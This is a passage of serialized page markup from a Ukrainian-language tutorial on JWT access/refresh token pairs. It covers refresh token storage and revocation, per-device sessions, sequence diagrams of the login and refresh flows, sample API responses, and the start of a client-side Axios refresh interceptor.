підроблений\n",[5274,6442,6443,6445,6447,6449,6451,6453,6455,6457,6459],{"class":5276,"line":5284},[5274,6444,5288],{"class":5287},[5274,6446,6314],{"class":5291},[5274,6448,5296],{"class":5295},[5274,6450,5299],{"class":5287},[5274,6452,5302],{"class":5295},[5274,6454,5306],{"class":5305},[5274,6456,5302],{"class":5295},[5274,6458,5312],{"class":5311},[5274,6460,5315],{"class":5295},[5274,6462,6463],{"class":5276,"line":5318},[5274,6464,6465],{"class":5295},"  {\n",[5274,6467,6468,6471,6473,6475,6477],{"class":5276,"line":5350},[5274,6469,6470],{"class":5305},"    sub:",[5274,6472,5327],{"class":5305},[5274,6474,5302],{"class":5295},[5274,6476,5332],{"class":5305},[5274,6478,5443],{"class":5295},[5274,6480,6481,6484,6487],{"class":5276,"line":5368},[5274,6482,6483],{"class":5305},"    tokenType:",[5274,6485,6486],{"class":5358}," 'refresh'",[5274,6488,5443],{"class":5295},[5274,6490,6491,6494,6497,6500],{"class":5276,"line":5470},[5274,6492,6493],{"class":5305},"    tokenId:",[5274,6495,6496],{"class":5311}," randomUUID",[5274,6498,6499],{"class":5295},"(), ",[5274,6501,6502],{"class":5280},"\u002F\u002F Унікальний ID для tracking\n",[5274,6504,6505],{"class":5276,"line":5644},[5274,6506,6507],{"class":5295},"  },\n",[5274,6509,6510],{"class":5276,"line":5650},[5274,6511,6465],{"class":5295},[5274,6513,6514,6517,6520,6522,6525,6527,6530,6532],{"class":5276,"line":5674},[5274,6515,6516],{"class":5305},"    secret:",[5274,6518,6519],{"class":5305}," process",[5274,6521,5302],{"class":5295},[5274,6523,6524],{"class":5305},"env",[5274,6526,5302],{"class":5295},[5274,6528,6529],{"class":5291},"REFRESH_TOKEN_SECRET",[5274,6531,5129],{"class":5295},[5274,6533,6534],{"class":5280},"\u002F\u002F Окремий секрет!\n",[5274,6536,6537,6540,6542],{"class":5276,"line":5680},[5274,6538,6539],{"class":5305},"    expiresIn:",[5274,6541,5359],{"class":5358},[5274,6543,5443],{"class":5295},[5274,6545,6546],{"class":5276,"line":5685},[5274,6547,5647],{"class":5295},[5274,6549,6550],{"class":5276,"line":5691},[5274,6551,5371],{"class":5295},[5274,6553,6554],{"class":5276,"line":5855},[5274,6555,5577],{"emptyLinePlaceholder":5576},[5274,6557,6558],{"class":5276,"line":5860},[5274,6559,6560],{"class":5280},"\u002F\u002F Зберігаємо tokenId у БД для можливості відкликання\n",[5274,6562,6563,6565,6567,6569,6571,6573,6575],{"class":5276,"line":5865},[5274,6564,5770],{"class":5605},[5274,6566,5656],{"class":5287},[5274,6568,5302],{"class":5295},[5274,6570,6346],{"class":5305},[5274,6572,5302],{"class":5295},[5274,6574,6351],{"class":5311},[5274,6576,6354],{"class":5295},[5274,6578,6579,6582,6585],{"class":5276,"line":6032},[5274,6580,6581],{"class":5305},"  tokenId:",[5274,6583,6584],{"class":5305}," tokenId",[5274,6586,5443],{"class":5295},[5274,6588,6589,6591,6593,6595,6597],{"class":5276,"line":6038},[5274,6590,6368],{"class":5305},[5274,6592,5327],{"class":5305},[5274,6594,5302],{"class":5295},[5274,6596,5332],{"class":5305},[5274,6598,5443],{"class":5295},[5274,6600,6601,6603,6605,6607,6609,6611,6613,6615,6617,6619,6621,6623,6625,6627,6629,6631,6633,6635],{"class":5276,"line":6044},[5274,6602,6381],{"class":5305},[5274,6604,5631],{"class":5287},[5274,6606,6386],{"class":5311},[5274,6608,5414],{"class":5295},[5274,6610,6391],{"class":5305},[5274,6612,5302],{"class":5295},[5274,6614,6396],{"class":5311},[5274,6616,6399],{"class":5295},[5274,6618,6402],{"class":6196},[5274,6620,6405],{"class":5295},[5274,6622,6408],{"class":6196},[5274,6624,6405],{"class":5295},[5274,6626,6413],{"class":6196},[5274,6628,6405],{"class":5295},[5274,6630,6413],{"class":6196},[5274,6632,6405],{"class":5295},[5274,6634,6422],{"class":6196},[5274,6636,6425],{"class":5295},[5274,6638,6639],{"class":5276,"line":6050},[5274,6640,5473],{"class":5295},[6642,6643,6644,6647],"tip",{},[5099,6645,6646],{},"Рекомендація:"," для більшості застосунків варіант із випадковим UUID є простішим та безпечнішим — немає ризику витоку інформації через декодування JWT, та немає потреби у окремому секретному ключі. JWT варіант корисний, якщо потрібна додаткова метаінформація у токені (наприклад, device fingerprint).",[5257,6649,6651],{"id":6650},"переваги-архітектури-пари-токенів","Переваги архітектури пари токенів",[5089,6653,6654],{},[5099,6655,6656],{},"1. Баланс безпеки та UX:",[5093,6658,6659,6662],{},[5096,6660,6661],{},"Короткий Access Token мінімізує вікно вразливості при компрометації (15 хв замість 7 днів).",[5096,6663,6664],{},"Довгий Refresh Token зберігає зручність — користувач не вводить пароль повторно протягом 7-30 днів.",[5089,6666,6667],{},[5099,6668,6669],{},"2. Можливість відкликання:",[5089,6671,6672],{},"Refresh Token зберігається у БД, тому може бути видалений у будь-який момент:",[5093,6674,6675,6678,6681],{},[5096,6676,6677],{},"Користувач натискає «Logout» → Refresh Token видаляється з БД.",[5096,6679,6680],{},"Адміністратор блокує обліковий запис → всі Refresh Tokens користувача видаляються.",[5096,6682,6683],{},"Виявлено підозрілу активність → всі токени всіх пристроїв користувача інвалідуються.",[5089,6685,6686],{},[5099,6687,6688],{},"3. Granular контроль:",[5089,6690,6691],{},"Можна зберігати окремі Refresh Tokens для різних пристроїв:",[5265,6693,6695],{"className":5267,"code":6694,"language":5269,"meta":5270,"style":5270},"\u002F\u002F Таблиця refresh_tokens\n{\n  id: \"uuid\",\n  userId: \"user-uuid\",\n  token: \"refresh-token-value\",\n  deviceName: \"iPhone 14 Pro\",\n  ipAddress: \"203.0.113.42\",\n  userAgent: \"Mozilla\u002F5.0...\",\n  createdAt: \"2026-09-01T10:00:00Z\",\n  expiresAt: \"2026-09-08T10:00:00Z\",\n  lastUsedAt: \"2026-09-06T15:30:00Z\"\n}\n",[5122,6696,6697,6702,6706,6719,6731,6743,6755,6767,6779,6791,6803,6813],{"__ignoreMap":5270},[5274,6698,6699],{"class":5276,"line":5277},[5274,6700,6701],{"class":5280},"\u002F\u002F Таблиця refresh_tokens\n",[5274,6703,6704],{"class":5276,"line":5284},[5274,6705,6135],{"class":5295},[5274,6707,6708,6712,6714,6717],{"class":5276,"line":5318},[5274,6709,6711],{"class":6710},"s5IvJ","  id",[5274,6713,5595],{"class":5295},[5274,6715,6716],{"class":5358},"\"uuid\"",[5274,6718,5443],{"class":5295},[5274,6720,6721,6724,6726,6729],{"class":5276,"line":5350},[5274,6722,6723],{"class":6710},"  userId",[5274,6725,5595],{"class":5295},[5274,6727,6728],{"class":5358},"\"user-uuid\"",[5274,6730,5443],{"class":5295},[5274,6732,6733,6736,6738,6741],{"class":5276,"line":5368},[5274,6734,6735],{"class":6710},"  token",[5274,6737,5595],{"class":5295},[5274,6739,6740],{"class":5358},"\"refresh-token-value\"",[5274,6742,5443],{"class":5295},[5274,6744,6745,6748,6750,6753],{"class":5276,"line":5470},[5274,6746,6747],{"class":6710},"  deviceName",[5274,6749,5595],{"class":5295},[5274,6751,6752],{"class":5358},"\"iPhone 14 Pro\"",[5274,6754,5443],{"class":5295},[5274,6756,6757,6760,6762,6765],{"class":5276,"line":5644},[5274,6758,6759],{"class":6710},"  ipAddress",[5274,6761,5595],{"class":5295},[5274,6763,6764],{"class":5358},"\"203.0.113.42\"",[5274,6766,5443],{"class":5295},[5274,6768,6769,6772,6774,6777],{"class":5276,"line":5650},[5274,6770,6771],{"class":6710},"  userAgent",[5274,6773,5595],{"class":5295},[5274,6775,6776],{"class":5358},"\"Mozilla\u002F5.0...\"",[5274,6778,5443],{"class":5295},[5274,6780,6781,6784,6786,6789],{"class":5276,"line":5674},[5274,6782,6783],{"class":6710},"  createdAt",[5274,6785,5595],{"class":5295},[5274,6787,6788],{"class":5358},"\"2026-09-01T10:00:00Z\"",[5274,6790,5443],{"class":5295},[5274,6792,6793,6796,6798,6801],{"class":5276,"line":5680},[5274,6794,6795],{"class":6710},"  expiresAt",[5274,6797,5595],{"class":5295},[5274,6799,6800],{"class":5358},"\"2026-09-08T10:00:00Z\"",[5274,6802,5443],{"class":5295},[5274,6804,6805,6808,6810],{"class":5276,"line":5685},[5274,6806,6807],{"class":6710},"  lastUsedAt",[5274,6809,5595],{"class":5295},[5274,6811,6812],{"class":5358},"\"2026-09-06T15:30:00Z\"\n",[5274,6814,6815],{"class":5276,"line":5691},[5274,6816,5677],{"class":5295},[5089,6818,6819],{},"Користувач може переглянути список активних сесій та відкликати токени конкретних пристроїв:",[5265,6821,6826],{"className":6822,"code":6824,"language":6825},[6823],"language-text","Активні сесії:\n✓ iPhone 14 Pro (Київ, Україна) — активний зараз\n✓ MacBook Pro (Львів, Україна) — 2 години тому\n✓ Chrome (Невідома локація) — 5 днів тому  [Відкликати]\n","text",[5122,6827,6824],{"__ignoreMap":5270},[5171,6829],{},[5084,6831,6833],{"id":6832},"потік-автентифікації-з-refresh-token","Потік автентифікації з Refresh Token",[5089,6835,6836],{},"Розглянемо повну послідовність взаємодії між клієнтом та сервером від моменту входу до автоматичного оновлення токенів.",[5257,6838,6840],{"id":6839},"крок-1-початковий-вхід-login","Крок 1: Початковий вхід (Login)",[5089,6842,6843,6844,5383],{},"Користувач надсилає email та пароль на ендпоінт ",[5122,6845,5151],{},[5949,6847,6848],{},[5265,6849,6851],{"className":5953,"code":6850,"language":5949,"meta":5270,"style":5270},"sequenceDiagram\n    participant User as Користувач\n    participant Client as Frontend App\n    participant Server as Auth Server\n    participant DB as База даних\n\n    User->>Client: Вводить email + password\n    Client->>Server: POST \u002Fauth\u002Flogin\u003Cbr\u002F>{email, password}\n    Server->>DB: Перевірка credentials\n    DB-->>Server: User entity\n    \n    Server->>Server: bcrypt.compare(password, hash)\n    \n    alt Пароль валідний\n        Server->>Server: Генерація Access Token\u003Cbr\u002F>TTL: 15 хвилин\n        Server->>Server: Генерація Refresh Token\u003Cbr\u002F>TTL: 7 днів\n        Server->>DB: Збереження Refresh Token\n        DB-->>Server: Token збережено\n        \n        Server-->>Client: 200 OK\u003Cbr\u002F>{accessToken, refreshToken}\n        Client->>Client: Зберігає Access Token\u003Cbr\u002F>у пам'яті\u002FsessionStorage\n        Client->>Client: Зберігає Refresh Token\u003Cbr\u002F>у HttpOnly Cookie\n        Client-->>User: Успішний вхід\n    else Пароль невалідний\n        Server-->>Client: 401 Unauthorized\n        Client-->>User: Помилка входу\n    end\n",[5122,6852,6853,6858,6863,6868,6873,6878,6882,6887,6892,6897,6902,6906,6911,6915,6920,6925,6930,6935,6940,6945,6951,6957,6963,6969,6975,6981,6987],{"__ignoreMap":5270},[5274,6854,6855],{"class":5276,"line":5277},[5274,6856,6857],{},"sequenceDiagram\n",[5274,6859,6860],{"class":5276,"line":5284},[5274,6861,6862],{},"    participant User as Користувач\n",[5274,6864,6865],{"class":5276,"line":5318},[5274,6866,6867],{},"    participant Client as Frontend App\n",[5274,6869,6870],{"class":5276,"line":5350},[5274,6871,6872],{},"    participant Server as Auth Server\n",[5274,6874,6875],{"class":5276,"line":5368},[5274,6876,6877],{},"    participant DB as База даних\n",[5274,6879,6880],{"class":5276,"line":5470},[5274,6881,5577],{"emptyLinePlaceholder":5576},[5274,6883,6884],{"class":5276,"line":5644},[5274,6885,6886],{},"    User->>Client: Вводить email + password\n",[5274,6888,6889],{"class":5276,"line":5650},[5274,6890,6891],{},"    Client->>Server: POST \u002Fauth\u002Flogin\u003Cbr\u002F>{email, password}\n",[5274,6893,6894],{"class":5276,"line":5674},[5274,6895,6896],{},"    Server->>DB: Перевірка credentials\n",[5274,6898,6899],{"class":5276,"line":5680},[5274,6900,6901],{},"    DB-->>Server: User entity\n",[5274,6903,6904],{"class":5276,"line":5685},[5274,6905,5986],{},[5274,6907,6908],{"class":5276,"line":5691},[5274,6909,6910],{},"    Server->>Server: bcrypt.compare(password, hash)\n",[5274,6912,6913],{"class":5276,"line":5855},[5274,6914,5986],{},[5274,6916,6917],{"class":5276,"line":5860},[5274,6918,6919],{},"    alt Пароль валідний\n",[5274,6921,6922],{"class":5276,"line":5865},[5274,6923,6924],{},"        Server->>Server: Генерація Access Token\u003Cbr\u002F>TTL: 15 хвилин\n",[5274,6926,6927],{"class":5276,"line":6032},[5274,6928,6929],{},"        Server->>Server: Генерація Refresh Token\u003Cbr\u002F>TTL: 7 днів\n",[5274,6931,6932],{"class":5276,"line":6038},[5274,6933,6934],{},"        Server->>DB: Збереження Refresh Token\n",[5274,6936,6937],{"class":5276,"line":6044},[5274,6938,6939],{},"        DB-->>Server: Token збережено\n",[5274,6941,6942],{"class":5276,"line":6050},[5274,6943,6944],{},"        \n",[5274,6946,6948],{"class":5276,"line":6947},20,[5274,6949,6950],{},"        Server-->>Client: 200 OK\u003Cbr\u002F>{accessToken, refreshToken}\n",[5274,6952,6954],{"class":5276,"line":6953},21,[5274,6955,6956],{},"        Client->>Client: Зберігає Access Token\u003Cbr\u002F>у пам'яті\u002FsessionStorage\n",[5274,6958,6960],{"class":5276,"line":6959},22,[5274,6961,6962],{},"        Client->>Client: Зберігає Refresh Token\u003Cbr\u002F>у HttpOnly Cookie\n",[5274,6964,6966],{"class":5276,"line":6965},23,[5274,6967,6968],{},"        Client-->>User: Успішний вхід\n",[5274,6970,6972],{"class":5276,"line":6971},24,[5274,6973,6974],{},"    else Пароль невалідний\n",[5274,6976,6978],{"class":5276,"line":6977},25,[5274,6979,6980],{},"        Server-->>Client: 401 Unauthorized\n",[5274,6982,6984],{"class":5276,"line":6983},26,[5274,6985,6986],{},"        Client-->>User: Помилка входу\n",[5274,6988,6990],{"class":5276,"line":6989},27,[5274,6991,5981],{},[5089,6993,6994],{},[5099,6995,6996],{},"Приклад відповіді від сервера:",[5265,6998,7000],{"className":6126,"code":6999,"language":6128,"meta":5270,"style":5270},"{\n  \"statusCode\": 200,\n  \"message\": \"Login successful\",\n  \"data\": {\n    \"accessToken\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI1NTBlODQwMC1lMjliLTQxZDQtYTcxNi00NDY2NTU0NDAwMDAiLCJlbWFpbCI6Iml2YW5AZXhhbXBsZS5jb20iLCJyb2xlcyI6WyJ1c2VyIl0sInRva2VuVHlwZSI6ImFjY2VzcyIsImlhdCI6MTY5MzU2NDgwMCwiZXhwIjoxNjkzNTY1NzAwfQ.4Hb3LM-TqHX-2JcGKz9yP3qF8vZ5nR7wQ1xS6mE9kLo\",\n    \"refreshToken\": \"6ba7b810-9dad-11d1-80b4-00c04fd430c8\",\n    \"tokenType\": \"Bearer\",\n    \"expiresIn\": 900,\n    \"user\": {\n      \"id\": \"550e8400-e29b-41d4-a716-446655440000\",\n      \"email\": \"ivan@example.com\",\n      \"roles\": [\"user\"]\n    }\n  }\n}\n",[5122,7001,7002,7006,7018,7030,7038,7050,7062,7074,7086,7093,7104,7115,7127,7132,7136],{"__ignoreMap":5270},[5274,7003,7004],{"class":5276,"line":5277},[5274,7005,6135],{"class":5295},[5274,7007,7008,7011,7013,7016],{"class":5276,"line":5284},[5274,7009,7010],{"class":6140},"  \"statusCode\"",[5274,7012,5595],{"class":5295},[5274,7014,7015],{"class":6196},"200",[5274,7017,5443],{"class":5295},[5274,7019,7020,7023,7025,7028],{"class":5276,"line":5318},[5274,7021,7022],{"class":6140},"  \"message\"",[5274,7024,5595],{"class":5295},[5274,7026,7027],{"class":5358},"\"Login successful\"",[5274,7029,5443],{"class":5295},[5274,7031,7032,7035],{"class":5276,"line":5350},[5274,7033,7034],{"class":6140},"  \"data\"",[5274,7036,7037],{"class":5295},": {\n",[5274,7039,7040,7043,7045,7048],{"class":5276,"line":5368},[5274,7041,7042],{"class":6140},"    \"accessToken\"",[5274,7044,5595],{"class":5295},[5274,7046,7047],{"class":5358},"\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI1NTBlODQwMC1lMjliLTQxZDQtYTcxNi00NDY2NTU0NDAwMDAiLCJlbWFpbCI6Iml2YW5AZXhhbXBsZS5jb20iLCJyb2xlcyI6WyJ1c2VyIl0sInRva2VuVHlwZSI6ImFjY2VzcyIsImlhdCI6MTY5MzU2NDgwMCwiZXhwIjoxNjkzNTY1NzAwfQ.4Hb3LM-TqHX-2JcGKz9yP3qF8vZ5nR7wQ1xS6mE9kLo\"",[5274,7049,5443],{"class":5295},[5274,7051,7052,7055,7057,7060],{"class":5276,"line":5470},[5274,7053,7054],{"class":6140},"    \"refreshToken\"",[5274,7056,5595],{"class":5295},[5274,7058,7059],{"class":5358},"\"6ba7b810-9dad-11d1-80b4-00c04fd430c8\"",[5274,7061,5443],{"class":5295},[5274,7063,7064,7067,7069,7072],{"class":5276,"line":5644},[5274,7065,7066],{"class":6140},"    \"tokenType\"",[5274,7068,5595],{"class":5295},[5274,7070,7071],{"class":5358},"\"Bearer\"",[5274,7073,5443],{"class":5295},[5274,7075,7076,7079,7081,7084],{"class":5276,"line":5650},[5274,7077,7078],{"class":6140},"    \"expiresIn\"",[5274,7080,5595],{"class":5295},[5274,7082,7083],{"class":6196},"900",[5274,7085,5443],{"class":5295},[5274,7087,7088,7091],{"class":5276,"line":5674},[5274,7089,7090],{"class":6140},"    \"user\"",[5274,7092,7037],{"class":5295},[5274,7094,7095,7098,7100,7102],{"class":5276,"line":5680},[5274,7096,7097],{"class":6140},"      \"id\"",[5274,7099,5595],{"class":5295},[5274,7101,6146],{"class":5358},[5274,7103,5443],{"class":5295},[5274,7105,7106,7109,7111,7113],{"class":5276,"line":5685},[5274,7107,7108],{"class":6140},"      \"email\"",[5274,7110,5595],{"class":5295},[5274,7112,6158],{"class":5358},[5274,7114,5443],{"class":5295},[5274,7116,7117,7120,7122,7124],{"class":5276,"line":5691},[5274,7118,7119],{"class":6140},"      \"roles\"",[5274,7121,6168],{"class":5295},[5274,7123,6171],{"class":5358},[5274,7125,7126],{"class":5295},"]\n",[5274,7128,7129],{"class":5276,"line":5855},[5274,7130,7131],{"class":5295},"    }\n",[5274,7133,7134],{"class":5276,"line":5860},[5274,7135,5647],{"class":5295},[5274,7137,7138],{"class":5276,"line":5865},[5274,7139,5677],{"class":5295},[5257,7141,7143],{"id":7142},"крок-2-звичайні-api-запити-з-валідним-access-token","Крок 2: Звичайні API запити (з валідним Access Token)",[5089,7145,7146,7147,5383],{},"Користувач робить запити до захищених ендпоінтів, використовуючи Access Token у заголовку ",[5122,7148,7149],{},"Authorization",[5265,7151,7155],{"className":7152,"code":7153,"language":7154,"meta":5270,"style":5270},"language-http shiki shiki-themes light-plus dark-plus dark-plus","GET \u002Fapi\u002Fv1\u002Fusers\u002Fprofile HTTP\u002F1.1\nHost: api.example.com\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\n","http",[5122,7156,7157,7174,7185],{"__ignoreMap":5270},[5274,7158,7159,7162,7165,7168,7171],{"class":5276,"line":5277},[5274,7160,7161],{"class":5605},"GET",[5274,7163,7164],{"class":5295}," \u002Fapi\u002Fv1\u002Fusers\u002Fprofile ",[5274,7166,7167],{"class":5287},"HTTP",[5274,7169,7170],{"class":5295},"\u002F",[5274,7172,7173],{"class":6196},"1.1\n",[5274,7175,7176,7180,7182],{"class":5276,"line":5284},[5274,7177,7179],{"class":7178},"sKtos","Host",[5274,7181,5383],{"class":5287},[5274,7183,7184],{"class":5358}," api.example.com\n",[5274,7186,7187,7189,7191],{"class":5276,"line":5318},[5274,7188,7149],{"class":7178},[5274,7190,5383],{"class":5287},[5274,7192,7193],{"class":5358}," Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\n",[5089,7195,7196,7197,7199],{},"Сервер верифікує підпис токена та перевіряє ",[5122,7198,5524],{}," claim:",[5265,7201,7203],{"className":5267,"code":7202,"language":5269,"meta":5270,"style":5270},"\u002F\u002F JwtStrategy автоматично перевіряє токен\nasync validate(payload: any) {\n  \u002F\u002F Токен валідний, повертаємо дані користувача\n  return {\n    userId: payload.sub,\n    email: payload.email,\n    roles: payload.roles,\n  };\n}\n",[5122,7204,7205,7210,7228,7233,7240,7253,7266,7279,7284],{"__ignoreMap":5270},[5274,7206,7207],{"class":5276,"line":5277},[5274,7208,7209],{"class":5280},"\u002F\u002F JwtStrategy автоматично перевіряє токен\n",[5274,7211,7212,7214,7217,7219,7221,7223,7226],{"class":5276,"line":5284},[5274,7213,5582],{"class":5305},[5274,7215,7216],{"class":5311}," validate",[5274,7218,5414],{"class":5295},[5274,7220,5787],{"class":5305},[5274,7222,5595],{"class":5295},[5274,7224,7225],{"class":5305},"any",[5274,7227,5600],{"class":5295},[5274,7229,7230],{"class":5276,"line":5318},[5274,7231,7232],{"class":5280},"  \u002F\u002F Токен валідний, повертаємо дані користувача\n",[5274,7234,7235,7237],{"class":5276,"line":5350},[5274,7236,5653],{"class":5605},[5274,7238,7239],{"class":5295}," {\n",[5274,7241,7242,7245,7247,7249,7251],{"class":5276,"line":5368},[5274,7243,7244],{"class":5305},"    userId:",[5274,7246,5731],{"class":5305},[5274,7248,5302],{"class":5295},[5274,7250,5792],{"class":5305},[5274,7252,5443],{"class":5295},[5274,7254,7255,7258,7260,7262,7264],{"class":5276,"line":5470},[5274,7256,7257],{"class":5305},"    email:",[5274,7259,5731],{"class":5305},[5274,7261,5302],{"class":5295},[5274,7263,5344],{"class":5305},[5274,7265,5443],{"class":5295},[5274,7267,7268,7271,7273,7275,7277],{"class":5276,"line":5644},[5274,7269,7270],{"class":5305},"    roles:",[5274,7272,5731],{"class":5305},[5274,7274,5302],{"class":5295},[5274,7276,6109],{"class":5305},[5274,7278,5443],{"class":5295},[5274,7280,7281],{"class":5276,"line":5650},[5274,7282,7283],{"class":5295},"  };\n",[5274,7285,7286],{"class":5276,"line":5674},[5274,7287,5677],{"class":5295},[5089,7289,7290],{},[5099,7291,7292],{},"Успішна відповідь (200 OK):",[5265,7294,7296],{"className":6126,"code":7295,"language":6128,"meta":5270,"style":5270},"{\n  \"statusCode\": 200,\n  \"data\": {\n    \"id\": \"550e8400-e29b-41d4-a716-446655440000\",\n    \"email\": \"ivan@example.com\",\n    \"firstName\": \"Іван\",\n    \"lastName\": \"Петренко\"\n  }\n}\n",[5122,7297,7298,7302,7312,7318,7329,7340,7352,7362,7366],{"__ignoreMap":5270},[5274,7299,7300],{"class":5276,"line":5277},[5274,7301,6135],{"class":5295},[5274,7303,7304,7306,7308,7310],{"class":5276,"line":5284},[5274,7305,7010],{"class":6140},[5274,7307,5595],{"class":5295},[5274,7309,7015],{"class":6196},[5274,7311,5443],{"class":5295},[5274,7313,7314,7316],{"class":5276,"line":5318},[5274,7315,7034],{"class":6140},[5274,7317,7037],{"class":5295},[5274,7319,7320,7323,7325,7327],{"class":5276,"line":5350},[5274,7321,7322],{"class":6140},"    \"id\"",[5274,7324,5595],{"class":5295},[5274,7326,6146],{"class":5358},[5274,7328,5443],{"class":5295},[5274,7330,7331,7334,7336,7338],{"class":5276,"line":5368},[5274,7332,7333],{"class":6140},"    \"email\"",[5274,7335,5595],{"class":5295},[5274,7337,6158],{"class":5358},[5274,7339,5443],{"class":5295},[5274,7341,7342,7345,7347,7350],{"class":5276,"line":5470},[5274,7343,7344],{"class":6140},"    \"firstName\"",[5274,7346,5595],{"class":5295},[5274,7348,7349],{"class":5358},"\"Іван\"",[5274,7351,5443],{"class":5295},[5274,7353,7354,7357,7359],{"class":5276,"line":5644},[5274,7355,7356],{"class":6140},"    \"lastName\"",[5274,7358,5595],{"class":5295},[5274,7360,7361],{"class":5358},"\"Петренко\"\n",[5274,7363,7364],{"class":5276,"line":5650},[5274,7365,5647],{"class":5295},[5274,7367,7368],{"class":5276,"line":5674},[5274,7369,5677],{"class":5295},[5257,7371,7373],{"id":7372},"крок-3-access-token-прострочений-401-unauthorized","Крок 3: Access Token прострочений (401 Unauthorized)",[5089,7375,7376,7377,7379],{},"Через 15 хвилин Access Token досягає свого ",[5122,7378,5524],{}," і стає недійсним:",[5949,7381,7382],{},[5265,7383,7385],{"className":5953,"code":7384,"language":5949,"meta":5270,"style":5270},"sequenceDiagram\n    participant Client as Frontend App\n    participant Server as Auth Server\n    participant RefreshEndpoint as \u002Fauth\u002Frefresh\n    participant DB as База даних\n\n    Client->>Server: GET \u002Fapi\u002Fv1\u002Fusers\u002Fprofile\u003Cbr\u002F>Authorization: Bearer \u003Cexpired_token>\n    Server->>Server: JwtService.verify()\n    Server-->>Client: 401 Unauthorized\u003Cbr\u002F>{error: \"Token expired\"}\n    \n    Note over Client: Перехоплює 401\u003Cbr\u002F>через Axios Interceptor\n    \n    Client->>RefreshEndpoint: POST \u002Fauth\u002Frefresh\u003Cbr\u002F>Cookie: refreshToken=6ba7b810...\n    RefreshEndpoint->>DB: Пошук Refresh Token\n    \n    alt Token знайдено та валідний\n        DB-->>RefreshEndpoint: RefreshToken entity\n        RefreshEndpoint->>RefreshEndpoint: Генерація нової пари токенів\n        RefreshEndpoint->>DB: Збереження нового Refresh Token\n        RefreshEndpoint->>DB: Видалення старого Refresh Token\n        RefreshEndpoint-->>Client: 200 OK\u003Cbr\u002F>{accessToken, refreshToken}\n        \n        Note over Client: Оновлює Access Token\u003Cbr\u002F>у пам'яті\n        \n        Client->>Server: Повторює оригінальний запит\u003Cbr\u002F>з новим Access Token\n        Server-->>Client: 200 OK + дані\n    else Token не знайдено або прострочений\n        RefreshEndpoint-->>Client: 401 Unauthorized\n        Note over Client: Перенаправлення\u003Cbr\u002F>на сторінку входу\n    end\n",[5122,7386,7387,7391,7395,7399,7404,7408,7412,7417,7422,7427,7431,7436,7440,7445,7450,7454,7459,7464,7469,7474,7479,7484,7488,7493,7497,7502,7507,7512,7518,7524],{"__ignoreMap":5270},[5274,7388,7389],{"class":5276,"line":5277},[5274,7390,6857],{},[5274,7392,7393],{"class":5276,"line":5284},[5274,7394,6867],{},[5274,7396,7397],{"class":5276,"line":5318},[5274,7398,6872],{},[5274,7400,7401],{"class":5276,"line":5350},[5274,7402,7403],{},"    participant RefreshEndpoint as \u002Fauth\u002Frefresh\n",[5274,7405,7406],{"class":5276,"line":5368},[5274,7407,6877],{},[5274,7409,7410],{"class":5276,"line":5470},[5274,7411,5577],{"emptyLinePlaceholder":5576},[5274,7413,7414],{"class":5276,"line":5644},[5274,7415,7416],{},"    Client->>Server: GET \u002Fapi\u002Fv1\u002Fusers\u002Fprofile\u003Cbr\u002F>Authorization: Bearer \u003Cexpired_token>\n",[5274,7418,7419],{"class":5276,"line":5650},[5274,7420,7421],{},"    Server->>Server: JwtService.verify()\n",[5274,7423,7424],{"class":5276,"line":5674},[5274,7425,7426],{},"    Server-->>Client: 401 Unauthorized\u003Cbr\u002F>{error: \"Token expired\"}\n",[5274,7428,7429],{"class":5276,"line":5680},[5274,7430,5986],{},[5274,7432,7433],{"class":5276,"line":5685},[5274,7434,7435],{},"    Note over Client: Перехоплює 401\u003Cbr\u002F>через Axios Interceptor\n",[5274,7437,7438],{"class":5276,"line":5691},[5274,7439,5986],{},[5274,7441,7442],{"class":5276,"line":5855},[5274,7443,7444],{},"    Client->>RefreshEndpoint: POST \u002Fauth\u002Frefresh\u003Cbr\u002F>Cookie: refreshToken=6ba7b810...\n",[5274,7446,7447],{"class":5276,"line":5860},[5274,7448,7449],{},"    RefreshEndpoint->>DB: Пошук Refresh Token\n",[5274,7451,7452],{"class":5276,"line":5865},[5274,7453,5986],{},[5274,7455,7456],{"class":5276,"line":6032},[5274,7457,7458],{},"    alt Token знайдено та валідний\n",[5274,7460,7461],{"class":5276,"line":6038},[5274,7462,7463],{},"        DB-->>RefreshEndpoint: RefreshToken entity\n",[5274,7465,7466],{"class":5276,"line":6044},[5274,7467,7468],{},"        RefreshEndpoint->>RefreshEndpoint: Генерація нової пари токенів\n",[5274,7470,7471],{"class":5276,"line":6050},[5274,7472,7473],{},"        RefreshEndpoint->>DB: Збереження нового Refresh Token\n",[5274,7475,7476],{"class":5276,"line":6947},[5274,7477,7478],{},"        RefreshEndpoint->>DB: Видалення старого Refresh Token\n",[5274,7480,7481],{"class":5276,"line":6953},[5274,7482,7483],{},"        RefreshEndpoint-->>Client: 200 OK\u003Cbr\u002F>{accessToken, refreshToken}\n",[5274,7485,7486],{"class":5276,"line":6959},[5274,7487,6944],{},[5274,7489,7490],{"class":5276,"line":6965},[5274,7491,7492],{},"        Note over Client: Оновлює Access Token\u003Cbr\u002F>у пам'яті\n",[5274,7494,7495],{"class":5276,"line":6971},[5274,7496,6944],{},[5274,7498,7499],{"class":5276,"line":6977},[5274,7500,7501],{},"        Client->>Server: Повторює оригінальний запит\u003Cbr\u002F>з новим Access Token\n",[5274,7503,7504],{"class":5276,"line":6983},[5274,7505,7506],{},"        Server-->>Client: 200 OK + дані\n",[5274,7508,7509],{"class":5276,"line":6989},[5274,7510,7511],{},"    else Token не знайдено або прострочений\n",[5274,7513,7515],{"class":5276,"line":7514},28,[5274,7516,7517],{},"        RefreshEndpoint-->>Client: 401 Unauthorized\n",[5274,7519,7521],{"class":5276,"line":7520},29,[5274,7522,7523],{},"        Note over Client: Перенаправлення\u003Cbr\u002F>на сторінку входу\n",[5274,7525,7527],{"class":5276,"line":7526},30,[5274,7528,5981],{},[5089,7530,7531],{},[5099,7532,7533],{},"Автоматична обробка оновлення токенів на клієнті (React):",[5265,7535,7537],{"className":5267,"code":7536,"language":5269,"meta":5270,"style":5270},"\u002F\u002F src\u002Fapi\u002Faxios-instance.ts\nimport axios from 'axios';\n\nconst api = axios.create({\n  baseURL: 'https:\u002F\u002Fapi.example.com',\n  withCredentials: true, \u002F\u002F Дозволяє надсилання HttpOnly Cookies\n});\n\nlet isRefreshing = false;\nlet refreshSubscribers: Array\u003C(token: string) => void> = 